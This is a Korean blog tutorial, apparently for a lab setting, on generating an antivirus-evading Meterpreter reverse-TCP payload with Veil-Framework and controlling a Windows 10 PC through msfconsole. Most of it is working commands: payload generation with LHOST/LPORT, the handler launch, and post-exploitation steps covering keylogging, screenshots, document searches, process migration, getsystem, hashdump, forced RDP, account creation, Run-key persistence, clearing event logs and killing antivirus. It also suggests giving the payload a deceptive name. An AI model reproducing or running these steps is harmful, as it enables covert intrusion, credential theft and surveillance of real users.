본문 바로가기

IT Security/HACKABLE

[Two Greedy] Veil-Framework & Metasploit 활용법

가상으로 구축된 환경 외에 시도하는 것은 엄연히 불법입니다. 모든 책임은 개개인에게 있으니 조심해주세요

안녕하세요 Retain0입니다. 이번 시간에 배워볼 것은 " Veil-Framework " 을 활용한 악성코드를 제작해보도록 하겠습니다. " Veil "이라는 도구는 안티 바이러스 솔루션을 우회하도록 하고 Metasploit Payload를 생성하도록 설계된 도구입니다.

Metasploit 이란

  • 여러 보안의 취약점 및 침투 테스트 등을 위해 만들어졌으며 예전에는 perl 언어로 주로 만들어젔지만 현재는 대부분 ruby 언어로 만들어지고 있습니다. 그리고 Metasploit Framework라고도 부르기도 하는데요. 이유는 여러 침투 테스트를 할 수 있는 기능들을 체계적으로 가지고 있기 때문입니다. payload라는 악성코드도 MSF(Metasploit Framework)에 내장된 모듈 중 하나입니다

※ Metasploit Framework 구조

오늘은 Msfconsole 을 통해 payload 를 업로드시켜서 사용자의 pc를 장악하도록 할것입니다.

Msfconsole 은 콘솔 기반의 인터페이스이며 Metasploit Framework 에서 가장 많이 사용됩니다. 또한 여러가지 옵션이 있기에 꼭 알아두어야 할것입니다. kali 에는 Metasploit 이 내장되어 있습니다.

Payloads

  • 멀웨어 즉 웜, 바이러스, 트로이목마 같은 악의적인 목적을가졌으며 데이터를 유출, 훼손, 개인정보,원격,권한상승 등 여러가지 악성행위를 시도할수있는 " rootkit "이라고도 합니다.

※ Armitage 는 GUI 기반

① Veil-Evasion

Veil-Evasion 실습 구성

Veil-Framework 의경우 kali에 내장이 되어 있지 않기 때문에 따로 설치를 해주셔야 합니다. 다운로드 및 설치방법은 하단에 github 소스를 통해 설치해주시면 되곘습니다.

(사진1) 실행

(사진1) 설치를 다해주셨으면 " Veil " 이라는 디렉토리가 있을겁니다. 디렉토리 안에는 " Veil.py " 라는 python언어로 만들어진 실행파일이 있을겁니다 . 명렁어 " ./Veil.py " 를 통해 실행해 줍니다.

(사진2) 실행후 모습

(사진2) 실행을 하면 이러한 화면이 나올건데요 우리는 오늘 Evasion 이라는 기능를 사용하도록 하겠습니다.

Evasion 이란

  • payload를 난독화 같이 읽어들이기 힘들게 하여 " 여러 안티바이러스 보안장비를 우회해줄수 있도록 도와주는 도구 " 입니다. 하지만 Evasion 도구가 모든 장비를 우회할수 있는거는 아닙니다.

Oranance 는 

  • 사용자가 원하는 형태로 쉘 코드를 생성하고 만들게 도와주는 도구 입니다.

(사진3) Evasion 선택

use 1

(사진3) 명렁어 " use 1 " 을 입력하여 Evasion 도구를 선택해 줍니다.

(사진4) 목록보기

list 

(사진4) 명령어 " list " 를 입력하여 사용가능한 payloads 목록들을 확인해보면 여러 가지 형태의 payloads가 있는것을 확인하실수 있습니다. C , Go , Lua , Perl , Powershell , Python 등 여러 언어로 제작이 되어 있습니다. 이러한 Payloads 탐지를 우회를 하면 기본적으로 사용자pc 가 사용중인 언어의 수준이 낮을수록 탐지를 하기 쉽다고 생각이 됩니다. windows 운영체제는 대부분 " C " 언어는 기본적으로 사용이 되고있으며 수준이 높기때문에 탐지가 될 확률이 높습니다. 하지만 Python 같은 고급언어의 경우 해당 사용자pc에 깔려있지 않을 가능성이 있습니다.

리버스 커넥션을 하기위해 " 28 "번인 Python/meterpreter/rev_tcp.py 를 사용하도록 하겠습니다.

rev_tcp 

  • tcp기반으로 리버스 커넥션을 하겠다는것을 의미합니다. 보통 방화벽은 외부 --> 내부 로 들어오는 inbound 트래픽을 막아주지만 반대로 outbound 는 대부분 허용해주는 경우가 많기에 그러한 빈틈을 이용해 내부망 --> 외부망으로 접속하도록 해줍니다.

Virustotal 사이트

  • 온라인으로 바이러스가 있는지 검사해주는 사이트, 파일이나 의심되는 URL 이 있다면 Virustotal 에 올려 약 60가지의 백신도구 를 통해 정상인지 비정상적인지 검사를 할수있습니다. 또한 의심되는 메일에 담긴 파일 이나 악성앱(.apk) 도 무료로 검사를 받을수 있기에 꼭 알아두고계시길 바랍니다.

60가지의 백신도구중 몇가지 국내 안티바이러스 검출도구가 있는데 신기한점은

5번인 " C " 로 만들어진 Payloads국내장비에서는 전부 잡아내지만 해외 장비에서는 못잡아내는 경우가 있습니다.

28번인 " Python " 고급언어로 만들어진 payloads 는 국내장비에서는 못잡아내지만 해외 장비에서는 잡아내는 경우도 있습니다. 즉 우리나라는 " C " 기반을 선호하는 반면 해외는 " Python " 언어를 선호하기에 서로 도출해내는 차이가 있다는것을 알았습니다.( 단 소프트웨어 업데이트 또는 언어의 수준에 따라 다릅니다.)

(사진5) 필수설정항목

use 28

(사진5) LHOSTLPORT 는 따로 설정을 해두고 시작해야합니다. 여기서 " L " 은 Lintening 을 말합니다. 즉 payloads 를 대상에게 주입하여 리스닝할 호스트의 ip를 적어줘야 합니다. 누가 리스닝을 하느냐, 바로 공격자 우리입니다.

ifconfig 를 통해 자신의 ip를 다시한번 확인한후 셋팅을 해봅시다

(사진6) 필수항목설정 및 제작

set LHOST 공격자IP : 리스닝할 IP 지정
set LPORT 8080 : 리스닝할 PORT 지정

generate : 제작시작
1 : default

(사진6) 명령어 " set LHOST 리스닝IP " , " set LPORT 임의지정 " 을 하여 설정해 주시고 " generate " 를 입력하여 제작을 해봅시다. payload 이름을 어떤명으로 지을지는 각자 기억하기 쉬운형태 또는 속이기 쉬운 형태로 만들어내시면 됩니다. 필자는 " RETAIN0 " 의 이름으로 Payload 를 만들것입니다. 그다음 " 1 " 번 항목인 PyInstaller (default) 를 선택해주면 생성이 됩니다.

(사진7) payload 생성

(사진7) payload가 정상적으로 생성이 되었으면 위의 사진처럼 보일것입니다.(단 버전마다 조금 틀릴수도있음)

첫번째 Excutable Written to

  • 우리가 만든 Payload 가 저장된 경로 입니다. 너무 많은 경로를 거쳐서 있기에 우리는 저 경로에 있는 payload를 쓰기 편하게 바탕화면으로 복사해서 가져올것입니다.

두번째 Metasploit Resource file written to

  • 핸들러 파일의 경로인데 쉽게 말해 객체들이 보낸 메시지를 받고 이를 처리하는 객체 입니다.

(사진8) msfconsole 실행

Metasploit Resource file written to 에 해당하는 경로를 사용
msfconsole -r /var/lib/veil/output/handlers/RETAIN0.rc

(사진8) msfconsole 이라는 인터페이스 환경에서 공격자와 사용자pc간 대화를 하기위해 handlers 파일의 경로를통해 실행해줍니다.(이창은 계속 유지시켜야함)

(사진9) payload 파일 복사

/root/다운로드 위치에 RETAIN0.exe 라는 payload 복사
cp /var/lib/veil/output/compiled/RETAIN0.exe /root/다운로드/

(사진7) 에 있던 payloads 의 경로를 참고하여 보기쉽게 다운로드 디렉토리로 가져오도록 하겠습니다.

(사진10) payload 파일 사용자pc로 이동

(사진10) 그럼 payloads 파일을 대상 사용자pc에 옮겨보도록 하겠습니다. 지금은 veil-evasion 이라는 기능을 테스트 해보기위해 직접 옮겼지만 이 방법 이외에 실제 악의적인 형태로 옮겨지는 " Drive by Download " 형태인 자동으로 payloads 파일이 호스트pc에 다운로드 및 실행이 되는 기법은 추후 다뤄보도록 하겠습니다. "

(사진11) 사용자pc와 연결

sessions -i 1

(사진11) RETAIN0.exe 형태의 payloads 가 실행이되면 리스닝하고 있는pc즉 공격자의 화면에는 위의 사진처럼 sending stage 문구와 함께 사용자의 ip와 미터프리터 세션이 연결된것을 확인 할수 있습니다.

그럼 우리는 명령어 " sessions -i 1 " 을 사용하여 현재 연결되어있는 세션에 접근하면 " meterpreter " 로 변경되는것을 확인할수 있습니다.

※meterpreter 란

  • 사용자pc에대한 exploit 이 성공된후 맺어지는 커멘드로 쉘 권한을 획득후 직접 사용자pc에 명령을 내리고 연결을 유지시키도록 해줌

※다중pc를 대상으로 하는경우 " sessions " 만 입력하여 연결된 session들이 있는지 확인하고 접근함

(사진12) 다양한 명령어 확인

(사진12) 명령어 " ? "를 입력하면 사용가능한 다양한 명령어들을 확인할수 있습니다. 몇가지 선택해서 한번 실습해보도록 하겠습니다.

(사진13) 시스템정보

sysinfo

(사진13) 명령어 " sysinfo "를하면 사용자pc에 대한 시스템정보를 확인할수 있습니다. 필자는 windows10을 기반으로 테스트 하였습니다.

(사진14) explorer.exe. 의 PID 확인

ps -S explorer.exe

(사진14) 명령어 " ps -S explorer.exe " 를 통해 explorer.exe 의 pid 를 식별하고 이러한 pid 값을 통해 권한을 상승시킬수 있습니다.

※대부분의 사용되는 프로그램들은 explorer.exe 의 하위에서 실행됨 즉 explorer.exe 의 권한을 가지면 하위 의권한까지 사용될수 있으므로 대부분의 권한을 소유할수 있게 됨

※유사옵션

  • ps (어떤 프로세스가 실행중인지 전체목록 확인가능)

(사진15) 현재 위치한 사용자확인

getuid

(사진15) 명령어 " getuid "를 통해 현재 위치한 단말의 사용자를 알수도 있으며

※" getpid " 를 입력하면 현재 연결되어 있는 프로세스를 찾을수있음

(사진16) 권한상승

migrate 13648

(사진16) 명령어 " migrate 13648 " 을 입력하여 권한을 상승을 시도하여 explorer.exe 의 권한을 얻었습니다.

explorer.exe 를 삭제해버리면 사용자pc는 작업표시줄이 사라짐

(사진17) 시스템정보 수집

run winenum

(사진17) ipconfig, arp_scanner 같은 개별 명령어를 통해 정보를 수집할수도 있지만 명령어 " run winenum " 을 통해 대상시스템의 전체적인 정보 즉 net, netsh, wmic 과 같은 명령을 실행하고 저장합니다.

(사진18) 사용자pc 화면 캡쳐

screenshot

명령어 " screenshot " 을 통해 사용자pc 화면에 어떤게 켜져있는지 .jpeg 형태로 출력됩니다. 공격자가 캡쳐한화면이 로그인폼이뜬다면 분명 사용자가 로그인할것을 알고 id 와 pwd 를 어떻게 입력할지를 알아낼수도 있습니다.

(사진19) 캡쳐된 사진

(사진19) 설치된 veil 디렉토리에 들어가보면 사용자pc의 캡쳐된 화면이 출력된것을 확인할수 있습니다.

(사진20) 사용자의 키보드입력값 추출

keyscan_start
keyscan_dump

(사진20) 명령어 " keyscan_start " 를 켜두고 일정 텀을 가진뒤 " keyscan_dump "로 출력해보면 사용자는 retain0 라는 입력과 1234567 이라는 값을 일력했던 것을 알수도 있습니다.

※this is my password 는 필자가 로그인폼에 마구잡이로 작성해본것임

(사진21) 사용자pc의 .hwp 파일 찾아보기

search -f *.hwp

(사진21) 공격자는 사용자pc에서 각종 문서파일이 어떤게 있는지 확인해보기 위해 명령어 " search -f *.hwp " 을 입력하여 모든(*) 한글 파일을 출력하고 가져올수도 있습니다.

(사진22 파일업로드)

upload /root/바탕화면/test.txt

명령어 " upload 업로드시킬파일경로 " 를 통해 대상시스템에 올릴수있습니다.

(업로드된 test.txt)
(사진23) 시스템권한획득

getsystem 

명령어 " getsystem " 을통해 대상시스템의 권한획득합니다. 이것을 통해 레지스트리조작 및 백도어 설치,암호덤프 가능해집니다.

(사진24) 대상시스템 계정들 dump

run post/windows/gather/hashdump

명령어 " run post/windows/gather/hashdump " 를통해 대상시스템에서 사용중인 계정들의 패스워드와 해시값을 도출합니다.

(사진 25) 원격데스크탑 활성화

run getgui -e

명령어 " run getgui -e " 를 통해 대상시스템의 원격데스크탑 기능을 강제로 활성화 시킵니다.

(사진 26) 사용자의 유휴시간확인

사진 26을 보시면 사용자의 유휴시간을 확인할수도 있습니다.

(사진 26) Telnet 서비스 활성화

run gettelnet

명령어 " run gettelnet " 기능을 통해 telnet 서비스를 활성화 또는 telnet 계정생성 가능합니다.

(사진 27) 사용자가 로그인했는지 확인가능

run post/windows/gather/enum_logged_on_users

※이외에 Meterpreter 의 기능들

- download /다운받고자하는경로/저장할경로
- execute -f payload.exe ( 대상시스템에서 프로그램 실행)
- reg setval -k HKML\\software\\microsoft\\windows\\currentversion\\run -v normal -d 'c:\retain.txt' (대상시스템이 부팅시 c:\retain.txt 를 자동으로 띄움)
- enumdesktops (사용가능한세션 찾기) / execute -s 1 -f retain0.exe (대상시스템에서 응용프로그램실행)
- run getgui -u retain0 -p 1234 (대상시스템에 새로운계정생성)
- run post/windows/gather/enum_logged_on_users ( 사용자가 로그인했는지 확인가능 )
- clearev (이벤트 로그 지우기)
- run killav (바이러스 백신 프로그램 비활성화)
- run getcountermeasure ( 대상시스템의 보안구성을 확인하고 백신, 방화벽 등 다른 보안수단을 비활성화
- run scraper (레지스트리를 포함한 더많은 시스템정보 획득)
- reboot (대상시스템을 재부팅)

Veil-Framwork install and Reter location : https://github.com/Veil-Framework/Veil

 

Veil-Framework/Veil

Veil 3.1.X (Check version info in Veil at runtime) - Veil-Framework/Veil

github.com

 

Veil-Framework는 공격자의 편의를 위해 자동으로 payload를 만들어주는 도구이지만 Metasploit-Framework 즉 MSF의 경우 penetration testing(모의 침투 테스트)에서 빠질 수 없는 기능 중 하나이기에 꼭 실습해보셨으면 좋겠습니다.